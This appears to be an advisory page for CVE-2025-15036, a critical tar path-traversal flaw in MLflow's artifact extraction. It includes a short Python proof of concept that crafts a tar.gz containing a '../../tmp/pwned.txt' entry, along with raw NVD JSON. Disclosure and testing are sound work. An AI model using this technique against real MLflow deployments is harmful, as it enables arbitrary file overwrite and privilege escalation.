Security Vulnerability Report
中文
CVE-2025-15036 CVSS 10.0 CRITICAL

CVE-2025-15036

Published: 2026-03-30 02:16:14
Last Modified: 2026-04-28 14:27:20

Description

A path traversal vulnerability exists in the `extract_archive_to_dir` function within the `mlflow/pyfunc/dbconnect_artifact_cache.py` file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments.

CVSS Details

CVSS Score
10.0
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:lfprojects:mlflow:*:-:*:*:*:*:*:* - VULNERABLE
MLflow < v3.7.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import tarfile import io # Create a malicious tar.gz demonstrating the path traversal # This script creates a file named "../../tmp/pwned.txt" inside the archive. malicious_content = b"This file was written outside the intended directory via CVE-2025-15036." with tarfile.open("exploit.tar.gz", "w:gz") as tar: # TarInfo object representing the file info = tarfile.TarInfo(name="../../tmp/pwned.txt") info.size = len(malicious_content) # Add the file to the archive tar.addfile(info, io.BytesIO(malicious_content)) print("Malicious archive 'exploit.tar.gz' created successfully.") print("If extracted by a vulnerable MLflow version, it will write to /tmp/pwned.txt")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15036", "sourceIdentifier": "[email protected]", "published": "2026-03-30T02:16:14.413", "lastModified": "2026-04-28T14:27:19.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability exists in the `extract_archive_to_dir` function within the `mlflow/pyfunc/dbconnect_artifact_cache.py` file of the mlflow/mlflow repository. This vulnerability, present in versions before v3.7.0, arises due to the lack of validation of tar member paths during extraction. An attacker with control over the tar.gz file can exploit this issue to overwrite arbitrary files or gain elevated privileges, potentially escaping the sandbox directory in multi-tenant or shared cluster environments."}, {"lang": "es", "value": "Existe una vulnerabilidad de salto de ruta en la función 'extract_archive_to_dir' dentro del archivo 'mlflow/pyfunc/dbconnect_artifact_cache.py' del repositorio mlflow/mlflow. Esta vulnerabilidad, presente en versiones anteriores a la v3.7.0, surge debido a la falta de validación de las rutas de los miembros del tar durante la extracción. Un atacante con control sobre el archivo tar.gz puede explotar este problema para sobrescribir archivos arbitrarios o obtener privilegios elevados, escapando potencialmente del directorio sandbox en entornos multi-inquilino o de clúster compartido."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.6, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-29"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:lfprojects:mlflow:*:-:*:*:*:*:*:*", "versionEndExcluding": "3.9.0", "matchCriteriaId": "92FE125F-996A-4B7B-8135-F9ADDAC3F398"}]}]}], "references": [{"url": "https://github.com/mlflow/mlflow/commit/3bf6d81ac4d38654c8ff012dbd0c3e9f17e7e346", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://huntr.com/bounties/36c314cf-fd6e-4fb0-b9b0-1b47bcdf0eb0", "source": "[email protected]", "tags": ["Third Party Advisory", "Exploit"]}]}}